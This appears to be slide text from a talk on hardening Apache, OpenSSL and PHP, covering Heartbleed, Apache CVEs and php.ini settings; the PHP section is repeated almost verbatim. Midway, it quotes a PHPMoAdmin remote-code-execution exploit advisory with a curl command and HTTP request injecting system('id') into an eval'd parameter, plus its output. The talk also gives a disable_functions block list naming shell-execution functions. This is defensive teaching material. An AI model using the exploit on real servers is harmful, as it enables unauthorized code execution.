This talk discusses methods of testing security robustness of your apache setup and common methods of securing your Apache Web server, OpenSSL instance, and Php settings. The slides are lacking, this is given as part of a talk, and I hope to upload a youtube video of that at a later date.
PHP 7 has been released and your production environment needs to be upgraded. Apache 2.4 came out 5 years ago, yet you are running Apache 2.2. OpenSSL 1.1.0f is the current GA version, your servers use OpenSSL 0.9.8. A lot of companies have outdated software running in live environments, making them vulnerable to commonly exploitable weaknesses. Based on information gathered working with dozens of companies, it's commonplace to see servers running open source software that is 5, 10, or even 15 years old. A simple Google search for vulnerabilities on these older versions produces exploits and kits that any person can use to wreck your company’s share prices, data, and reputation. Learn how to protect yourself, your team, and your company from threats by these methods.
We'll use some common techniques to upgrade and harden our servers, concentrating on PHP, Apache, and OpenSSL. Hardening the operating system needs to happen as well, but this session focuses on the software. Bringing your coworkers, employers, and colleagues on board with your migration plan will allow you to more easily move from the old to the new. We'll also cover the skills you need to learn, the resources available to assist you, and the methods to accomplish a migration that will result in a secure and robust production environment
COURSE Concentrates on Linux – windows is a different animal
OpenSSL is "dual licensed" under the OpenSSL License and the SSLeay License.[17] The OpenSSL License is Apache License 1.0 and SSLeay License bears some similarity to a 4-clause BSD License. The term dual-license commonly means that the user can pick which license to use. However, OpenSSL documentation uses the term dual-license to mean that both licenses apply.
Version information
Advanced Version information
List of ciphers, use ”man ciphers”
Speed - The OpenSSL developers have built a benchmarking suite directly into the openssl binary. It’s accessible via the speed option. It tests how many operations it can perform in a given time, rather than how long it takes to perform a given number of operations.
WHAT IS IT?
The Heartbleed Bug is a serious vulnerability in the popular OpenSSL cryptographic software library. This weakness allows stealing the information protected, under normal conditions, by the SSL/TLS encryption used to secure the Internet. SSL/TLS provides communication security and privacy over the Internet for applications such as web, email, instant messaging (IM) and some virtual private networks (VPNs).
The Heartbleed bug allows anyone on the Internet to read the memory of the systems protected by the vulnerable versions of the OpenSSL software. This compromises the secret keys used to identify the service providers and to encrypt the traffic, the names and passwords of the users and the actual content. This allows attackers to eavesdrop on communications, steal data directly from the services and users and to impersonate services and users.
MITIGATION
Even though the actual code fix may appear trivial, OpenSSL team is the expert in fixing it properly so fixed version 1.0.1g or newer should be used. If this is not possible software developers can recompile OpenSSL with the handshake removed from the code by compile time option -DOPENSSL_NO_HEARTBEATS.
VENAFI-
74% of these organizations with public-facing systems vulnerable to Heartbleed (that’s 1,642 companies) have not taken every step to remediate the problem across all servers. “That’s 1,223 of the world’s largest and most valuable businesses still exposed to attacks,” the report says.
WHAT TO DO?
Updating to the latest versions of OpenSSL, the software initially found vulnerable to Heartbleed, prevents the bug from continuing to be exploited. (Every organization—thank goodness—accomplished this step, according to the report.) Second, creation of new private keys: This prevents an attacker—someone who exploited the bug prior to patching—from being able to spy on encrypted traffic between an affected host and a user. And third, reissuance of security certificates (including the revocation of old, potentially compromised certificates): This last step eliminates attackers’ ability to spoof organizations and to fool or phish their customers.
Severity: High During a renegotiation handshake if the Encrypt-Then-Mac extension is negotiated where it was not in the original handshake (or vice-versa) then this can cause OpenSSL to crash (dependent on ciphersuite). Both clients and servers are affected.
Support for version 1.0.1 ended on 31st December 2016. Support for versions 0.9.8 and 1.0.0 ended on 31st December 2015. Those versions are no longer receiving security updates.
The Apache HTTP Server Project is an effort to develop and maintain an open-source HTTP server for modern operating systems including UNIX and Windows. The goal of this project is to provide a secure, efficient and extensible server that provides HTTP services in sync with the current HTTP standards.
Apache httpd 2.4.29 Released 2017-10-23
The Apache Software Foundation and the Apache HTTP Server Project are pleased to announce the release of version 2.4.29 of the Apache HTTP Server ("httpd").
This latest release from the 2.4.x stable branch represents the best available version of Apache HTTP Server.
The Apache HTTP Server Project announces the release of version 2.2.34, the final release of the Apache httpd 2.2 series. This version will be the last release of the 2.2 legacy branch. (Version number 2.2.33 was not released.)
The Apache HTTP Server Project has long committed to providing maintenance releases of the 2.2.x flavor through June of 2017, and may continue to publish some security source code patches beyond this date through December of 2017. No further maintenance patches nor releases of 2.2.x are anticipated. Any final security patches will be published to www.apache.org/dist/httpd/patches/apply_to_2.2.34/
A zero day vulnerability refers to a hole in software that is unknown to the vendor. This security hole is thenexploited by hackers before the vendor becomes aware and hurries to fix it—this exploit is called a zero day attack.
Options Bleed – NO current exploit known
When an unrecognized HTTP Method is given in an <Limit {method}> directive in an .htaccess file, and that .htaccess file is processed by the corresponding request, the global methods table is corrupted in the current worker process, resulting in erratic behaviour.
This behavior may be avoided by listing all unusual HTTP Methods in a global httpd.conf RegisterHttpMethod directive in httpd release 2.2.32 and later.
To permit other .htaccess directives while denying the <Limit > directive, see the AllowOverrideList directive.
important: Uninitialized memory reflection in mod_auth_digest (CVE-2017-9788)
The value placeholder in [Proxy-]Authorization headers of type 'Digest' was not initialized or reset before or between successive key=value assignments. by mod_auth_digest.
Providing an initial key with no '=' assignment could reflect the stale value of uninitialized pool memory used by the prior request, leading to leakage of potentially confidential information, and a segfault.
Acknowledgements: We would like to thank Robert Święcki for reporting this issue.
Reported to security team28th June 2017Issue public11th July 2017Update Released11th July 2017Affects2.2.32, 2.2.31, 2.2.29, 2.2.27, 2.2.26, 2.2.25, 2.2.24, 2.2.23, 2.2.22, 2.2.21, 2.2.20, 2.2.19, 2.2.18, 2.2.17, 2.2.16, 2.2.15, 2.2.14, 2.2.13, 2.2.12, 2.2.11, 2.2.10, 2.2.9, 2.2.8, 2.2.6, 2.2.5, 2.2.4, 2.2.3, 2.2.2, 2.2.0
important: ap_get_basic_auth_pw() Authentication Bypass (CVE-2017-3167)
Use of the ap_get_basic_auth_pw() by third-party modules outside of the authentication phase may lead to authentication requirements being bypassed.
Third-party module writers SHOULD use ap_get_basic_auth_components(), available in 2.2.34 and 2.4.26, instead of ap_get_basic_auth_pw(). Modules which call the legacy ap_get_basic_auth_pw() during the authentication phase MUST either immediately authenticate the user after the call, or else stop the request immediately with an error response, to avoid incorrectly authenticating the current request.
Acknowledgements: We would like to thank Emmanuel Dreyfus for reporting this issue.
Reported to security team6th February 2017Issue public19th June 2017Update Released11th July 2017Affects2.2.32, 2.2.31, 2.2.29, 2.2.27, 2.2.26, 2.2.25, 2.2.24, 2.2.23, 2.2.22, 2.2.21, 2.2.20, 2.2.19, 2.2.18, 2.2.17, 2.2.16, 2.2.15, 2.2.14, 2.2.13, 2.2.12, 2.2.11, 2.2.10, 2.2.9, 2.2.8, 2.2.6, 2.2.5, 2.2.4, 2.2.3, 2.2.2, 2.2.0
Sefrver signature
Directory listings
We can turn off directory listing by using Options directive in configuration file for a specific directory. For that we need to make an entry in httpd.conf or apache2.conf file.
<Directory /var/www/html> Options –
# httpd -v Server version: Apache/2.2.15 (Unix) Server built: Aug 13 2013 17:29:28Indexes </Directory>
_ ___ _ _ ____ ____ _ _____
# | | / _ \| \ | |/ ___|/ ___| / \|_ _|
# | | | | | | \| | | _| | / _ \ | |
# | |__| |_| | |\ | |_| | |___ / ___ \| |
# |_____\___/|_| \_|\____|\____/_/ \_\_|
#
# PHPMoAdmin Unauthorized Remote Code Execution (0-Day)
# Website : http://www.phpmoadmin.com/
# Exploit Author : @u0x (Pichaya Morimoto), Xelenonz, pe3z, Pistachio
# Release dates : March 3, 2015
#
# Special Thanks to 2600 Thailand group
# https://www.facebook.com/groups/2600Thailand/ , http://2600.in.th/
#
########################################################################
[+] Description
============================================================
PHPMoAdmin is a MongoDB administration tool for PHP built on a
stripped-down version of the Vork high-performance framework.
[+] Exploit
============================================================
Someone was trying to sale this shit for 3000usd lolz
$ curl "http://path.to/moadmin.php" -d "object=1;system('id');exit"
[+] Proof-of-Concept
============================================================
PoC Environment: Ubuntu 14.04, PHP 5.5.9, Apache 2.4.7
POST /moadmin/moadmin.php HTTP/1.1
Host: 192.168.33.10
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:36.0)
Gecko/20100101 Firefox/36.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
Content-Type: application/x-www-form-urlencoded
Content-Length: 34
object=1;system('id;ls -lha');exit
HTTP/1.1 200 OK
Date: Tue, 03 Mar 2015 16:57:40 GMT
Server: Apache/2.4.7 (Ubuntu)
Set-Cookie: PHPSESSID=m0ap55aonsj5ueph7hgku0elb1; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0,
pre-check=0
Pragma: no-cache
Vary: Accept-Encoding
Content-Length: 223
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html
uid=33(www-data) gid=33(www-data) groups=33(www-data)
total 116K
drwxr-xr-x 1 longcat longcat 102 Mar 3 16:55 .
drwxr-xr-x 6 root root 4.0K Mar 3 16:17 ..
-rw-rw-r-- 1 longcat longcat 112K Mar 3 16:55 moadmin.php
[+] Vulnerability Analysis
============================================================
Filename: moadmin.php
1. create new moadminComponent object
1977: $mo = new moadminComponent;
2. if the http-post parameter 'object' is set
738: class moadminComponent {
...
762: public function __construct() {
...
786: if (isset($_POST['object'])) {
787: if (self::$model->saveObject($_GET['collection'],
$_POST['object'])) {
...
3. evaluate the value of 'object' as PHP code
692: public function saveObject($collection, $obj) {
693: eval('$obj=' . $obj . ';'); //cast from string to array
Related Exploits
Section 1: Remote Connections
allow_url_fopen = 0allow_url_include = 0
Do not allow fopen wrappers to open remote URLs. Remote content cannot always be trusted; disabling these options ensures that fopen wrappers can load only local content.
Section 2: Runtime Settings
max_input_time = 30max_execution_time = 30
Limit the maximum amount of time allowed to process inputs, as well as the maximum amount of time that a PHP script can run. Here, both settings are set to a 30 second limit. This ensures that, in case a script became compromised, it would not read inputs or run for an extended period of time. A well-coded script should not require more than 30 seconds to run.
memory_limit = 8M
Ensure that a PHP script never utilizes more than 8MB of memory. In case a script was compromised, this setting effectively limits the amount of memory that the script can utilize.
register_globals = off
Disabling this setting effectively prohibits request data from automatically being stored as a variable. Registering global variables raises several concerns; one example is that environment variables can easily be modified. To avoid these issues, ensure that this setting is off.
expose_php = 0
By default, the presence of PHP as well as its version number are exposed as a part of HTTP responses. Since this provides unnecessary insight into the server, it is advisable to turn this off.
cgi.force_redirect = 1
Ensure that PHP can be run only through a web server redirect rule. This prevents PHP from being called directly, which improves security.
Section 3: Input Data Restrictions
post_max_size = 256Kmax_input_vars = 100
Hackers can try to flood web application resources by sending mass data to it, which can reduce transfer speeds and available server resources. The effect of this type of attack can be minimized by reducing the maximum size of POST data, and also by limiting the amount of request data. Note that “post_max_size” also impacts the maximum size of file uploads; if your application has file upload capabilities, ensure that the value of this setting is at least as large as “upload_max_filesize”.
Section 4: Error Handling
display_errors = 0display_startup_errors = 0
Error messages should never be displayed to the end user, since the messages often contain detailed information about the application’s code and the server. This information could potentially be used to assist hackers. Instead, log error messages to a secure file on the server.
log_errors = 1error_log = /home/johndoe/error_log
PHP errors should be logged in order to debug the application code as well as to investigate for potential vulnerabilities. If you are using a file manager such as the one included with cPanel, a convenient and secure location for the error log is directly outside of the web root.
Section 5: Restrict File Access
open_basedir = "/home/johndoe/public_html"
Open_basedir ensures that PHP can include files from within only the listed directories. This improves security by preventing PHP scripts from unintentionally accessing secure files outside of the whitelisted paths. Note that you must add every directory that PHP needs to access to the whitelist, including the temporary file upload and session directories (see below). You can add multiple directories to the list by placing a colon between each directory. For example:
open_basedir = "/home/johndoe/public_html:/var/lib/php/tmp_upload:/var/lib/php/session"
Section 6: File Uploads
file_uploads = 0
If your application does not contain functionality for uploading files from users’ computers, it is advisable to disable this PHP feature altogether. This helps to prevent hackers from uploading scripts which might then be injected into the application.
file_uploads = 1upload_max_filesize = 1M
If your application requires file upload capabilities, keep “upload_max_filesize” to as small of a value as possible.
upload_tmp_dir = /var/lib/php/tmp_upload
By default, temporary file uploads are placed in a directory that is writeable by all system users. The location should be switched to a more secure directory. Ensure that the new directory location is not located within the web root. If you are using a file manager such as the one included with cPanel, then an easy and secure location to create the upload directory is directly outside of the web root (i.e. the same directory that public_html is located within). Another secure location is to create the directory within the PHP directory in “/var/lib”. The path depends on the operating system, i.e. “/var/lib/php” or “/var/lib/php5”. If have open_basedir restrictions in effect, ensure that the temporary upload directory is included in the open_basedir whitelist.
Section 7: Session Security
Sessions are used to preserve information across multiple requests for individual users. The actual information is stored on the server, and a cookie (or, less securely, HTTP request data) containing a session ID is used to validate users. Sessions are used for purposes including authentication into a web application, which is one reason why its security is so important. The following settings can be updated to help reduce the risk of session interception.
session.use_strict_mode = 1
Create a new session ID if the browser sends a previously-uninitialized ID. This helps prevent an attack called session fixation.
session.cookie_httponly = 1
Allow the session cookie to be accessible only from a HTTP request, and not from other sources such as JavaScript. This helps prevent an attack called an XSS attack.
session.use_cookies = 1session.use_only_cookies = 1session.use_trans_sid = 0
Save session ID in a cookie, rather than sending it as a URL parameter. This helps keep a user’s session secure by preventing session fixation attacks.
session.name = custom_session_id
Cookies store their information in key-value format. It is advisable to update the default key name of the cookie that stores the session ID. Update “custom_session_id” with a custom value.
session.cookie_secure = 1
If your web application runs over the HTTPS protocol for security, enable this setting to force cookies containing session IDs to be accessed only over a secure connection.
session.referer_check = example.com
Check where the request came from in order to determine whether to allow access to session data. Update this setting value to your application’s domain name to help prevent session information from being accessed if a script is loaded from an external source.
session.save_path = "/var/lib/php/session"
The default session file save path is writeable by all system users. The location should be switched to a more secure directory. Ensure that the new directory location is not located within the web root. If you are using a file manager such as the one included with cPanel, then an easy location to create the session directory is directly outside of the web root (i.e. the same directory that public_html is located within). Another secure location is to create the directory within the PHP directory in “/var/lib”. The path depends on the operating system, i.e. “/var/lib/php” or “/var/lib/php5”. If have open_basedir restrictions in effect, ensure that the session save path is included in the open_basedir whitelist.
session.hash_function = sha512
SHA-512 is a more secure hashing algorithm for creating session IDs compared to the default MD5 hash function. This algorithm is available in PHP version 5.3+. If you are running a lesser version of PHP, use the SHA1 hash algorithm instead. To do so, set “session.hash_function = 1”.
session.bug_compat_42 = 0session.bug_compat_warn = 0
Disabling these settings will ensure that session variables cannot be globally initialized, which improves security.
Disable Vulnerable Functions
disable_functions = ini_set,php_uname,getmyuid,getmypid,passthru,leak,listen,diskfreespace,tmpfile,link,ignore_user_abord,shell_exec,dl,set_time_limit,exec,system,highlight_file,source,show_source,fpaththru,virtual,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,phpinfo,popen,curl_exec,curl_multi_exec,parse_ini_file,allow_url_fopen,allow_url_include,pcntl_exec,chgrp,chmod,chown,lchgrp,lchown,putenv
Several PHP functions can provide open doors for web application hacks if not used carefully. For example, sending improperly validated inputs to many of these functions results in security issues. Disabling these functions altogether is a simple and effective solution to the problem. However, if your application requires any of the functions listed, remove it from the list.
Soap Cache
soap.wsdl_cache_dir = /var/lib/php/soap_cache
As with file uploads and session data, SOAP cache data should not be stored within the default temporary directory. Set this to a more secure directory.
expose_php = 0
By default, the presence of PHP as well as its version number are exposed as a part of HTTP responses. Since this provides unnecessary insight into the server, it is advisable to turn this off.
cgi.force_redirect = 1
Ensure that PHP can be run only through a web server redirect rule. This prevents PHP from being called directly, which improves security.
Section 3: Input Data Restrictions
post_max_size = 256Kmax_input_vars = 100
Hackers can try to flood web application resources by sending mass data to it, which can reduce transfer speeds and available server resources. The effect of this type of attack can be minimized by reducing the maximum size of POST data, and also by limiting the amount of request data. Note that “post_max_size” also impacts the maximum size of file uploads; if your application has file upload capabilities, ensure that the value of this setting is at least as large as “upload_max_filesize”.
Section 4: Error Handling
display_errors = 0display_startup_errors = 0
Error messages should never be displayed to the end user, since the messages often contain detailed information about the application’s code and the server. This information could potentially be used to assist hackers. Instead, log error messages to a secure file on the server.
log_errors = 1error_log = /home/johndoe/error_log
PHP errors should be logged in order to debug the application code as well as to investigate for potential vulnerabilities. If you are using a file manager such as the one included with cPanel, a convenient and secure location for the error log is directly outside of the web root.
Section 5: Restrict File Access
open_basedir = "/home/johndoe/public_html"
Open_basedir ensures that PHP can include files from within only the listed directories. This improves security by preventing PHP scripts from unintentionally accessing secure files outside of the whitelisted paths. Note that you must add every directory that PHP needs to access to the whitelist, including the temporary file upload and session directories (see below). You can add multiple directories to the list by placing a colon between each directory. For example:
open_basedir = "/home/johndoe/public_html:/var/lib/php/tmp_upload:/var/lib/php/session"
Section 6: File Uploads
file_uploads = 0
If your application does not contain functionality for uploading files from users’ computers, it is advisable to disable this PHP feature altogether. This helps to prevent hackers from uploading scripts which might then be injected into the application.
file_uploads = 1upload_max_filesize = 1M
If your application requires file upload capabilities, keep “upload_max_filesize” to as small of a value as possible.
upload_tmp_dir = /var/lib/php/tmp_upload
By default, temporary file uploads are placed in a directory that is writeable by all system users. The location should be switched to a more secure directory. Ensure that the new directory location is not located within the web root. If you are using a file manager such as the one included with cPanel, then an easy and secure location to create the upload directory is directly outside of the web root (i.e. the same directory that public_html is located within). Another secure location is to create the directory within the PHP directory in “/var/lib”. The path depends on the operating system, i.e. “/var/lib/php” or “/var/lib/php5”. If have open_basedir restrictions in effect, ensure that the temporary upload directory is included in the open_basedir whitelist.
Section 7: Session Security
Sessions are used to preserve information across multiple requests for individual users. The actual information is stored on the server, and a cookie (or, less securely, HTTP request data) containing a session ID is used to validate users. Sessions are used for purposes including authentication into a web application, which is one reason why its security is so important. The following settings can be updated to help reduce the risk of session interception.
session.use_strict_mode = 1
Create a new session ID if the browser sends a previously-uninitialized ID. This helps prevent an attack called session fixation.
session.cookie_httponly = 1
Allow the session cookie to be accessible only from a HTTP request, and not from other sources such as JavaScript. This helps prevent an attack called an XSS attack.
session.use_cookies = 1session.use_only_cookies = 1session.use_trans_sid = 0
Save session ID in a cookie, rather than sending it as a URL parameter. This helps keep a user’s session secure by preventing session fixation attacks.
session.name = custom_session_id
Cookies store their information in key-value format. It is advisable to update the default key name of the cookie that stores the session ID. Update “custom_session_id” with a custom value.
session.cookie_secure = 1
If your web application runs over the HTTPS protocol for security, enable this setting to force cookies containing session IDs to be accessed only over a secure connection.
session.referer_check = example.com
Check where the request came from in order to determine whether to allow access to session data. Update this setting value to your application’s domain name to help prevent session information from being accessed if a script is loaded from an external source.
session.save_path = "/var/lib/php/session"
The default session file save path is writeable by all system users. The location should be switched to a more secure directory. Ensure that the new directory location is not located within the web root. If you are using a file manager such as the one included with cPanel, then an easy location to create the session directory is directly outside of the web root (i.e. the same directory that public_html is located within). Another secure location is to create the directory within the PHP directory in “/var/lib”. The path depends on the operating system, i.e. “/var/lib/php” or “/var/lib/php5”. If have open_basedir restrictions in effect, ensure that the session save path is included in the open_basedir whitelist.
session.hash_function = sha512
SHA-512 is a more secure hashing algorithm for creating session IDs compared to the default MD5 hash function. This algorithm is available in PHP version 5.3+. If you are running a lesser version of PHP, use the SHA1 hash algorithm instead. To do so, set “session.hash_function = 1”.
session.bug_compat_42 = 0session.bug_compat_warn = 0
Disabling these settings will ensure that session variables cannot be globally initialized, which improves security.
Disable Vulnerable Functions
disable_functions = ini_set,php_uname,getmyuid,getmypid,passthru,leak,listen,diskfreespace,tmpfile,link,ignore_user_abord,shell_exec,dl,set_time_limit,exec,system,highlight_file,source,show_source,fpaththru,virtual,posix_ctermid,posix_getcwd,posix_getegid,posix_geteuid,posix_getgid,posix_getgrgid,posix_getgrnam,posix_getgroups,posix_getlogin,posix_getpgid,posix_getpgrp,posix_getpid,posix,_getppid,posix_getpwnam,posix_getpwuid,posix_getrlimit,posix_getsid,posix_getuid,posix_isatty,posix_kill,posix_mkfifo,posix_setegid,posix_seteuid,posix_setgid,posix_setpgid,posix_setsid,posix_setuid,posix_times,posix_ttyname,posix_uname,proc_open,proc_close,proc_get_status,proc_nice,proc_terminate,phpinfo,popen,curl_exec,curl_multi_exec,parse_ini_file,allow_url_fopen,allow_url_include,pcntl_exec,chgrp,chmod,chown,lchgrp,lchown,putenv
Several PHP functions can provide open doors for web application hacks if not used carefully. For example, sending improperly validated inputs to many of these functions results in security issues. Disabling these functions altogether is a simple and effective solution to the problem. However, if your application requires any of the functions listed, remove it from the list.
Soap Cache
soap.wsdl_cache_dir = /var/lib/php/soap_cache
As with file uploads and session data, SOAP cache data should not be stored within the default temporary directory. Set this to a more secure directory.